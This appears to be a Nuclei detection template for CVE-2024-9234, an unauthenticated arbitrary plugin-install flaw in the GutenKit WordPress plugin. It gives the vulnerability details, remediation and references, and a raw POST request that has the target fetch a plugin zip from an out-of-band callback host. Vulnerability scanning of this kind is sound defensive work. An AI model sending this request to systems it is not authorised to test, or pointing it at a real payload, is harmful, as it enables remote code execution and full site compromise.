id: CVE-2024-9234

info:
  name: GutenKit <= 2.1.0 - Arbitrary File Upload
  author: s4e-io
  severity: critical
  description: |
    The GutenKit Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the install_and_activate_plugin_from_external() function (install-active-plugin REST API endpoint) in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins, or utilize the functionality to upload arbitrary files spoofed like plugins.
  impact: |
    Unauthenticated attackers can install and activate arbitrary WordPress plugins or upload files disguised as plugins, enabling remote code execution and complete WordPress site compromise.
  remediation: |
    Update GutenKit plugin to a version later than 2.1.0 that implements proper capability checks on the install_and_activate_plugin_from_external function and REST API endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9234
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gutenkit-blocks-addon/gutenkit-210-unauthenticated-arbitrary-file-upload
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9234
    cwe-id: CWE-862
    epss-score: 0.93403
    epss-percentile: 0.99823
  metadata:
    verified: true
    max-request: 2
    vendor: wpmet
    product: gutenkit
    framework: wordpress
    fofa-query: body="wp-content/plugins/gutenkit-blocks-addon"
  tags: cve,cve2024,wordpress,wp-plugin,gutenkit,file-upload,intrusive,vkev,vuln

variables:
  filename: "{{rand_text_alpha(12)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/gutenkit-blocks-addon")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-json/gutenkit/v1/install-active-plugin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        plugin=http://{{interactsh-url}}/{{filename}}.zip

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Failed to unzip plugin", "success\":false")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a0048304602210087d4aa1d088e55a90736d6a784e73880c78f5a7b72dbfe2ff98dd9ecd1bbf55b02210084c9cc1fe4b6f7c8ecaca07d664727d22595b862d2b97cd93964b6c90902849b:922c64590222798bb761d5b6d8e72950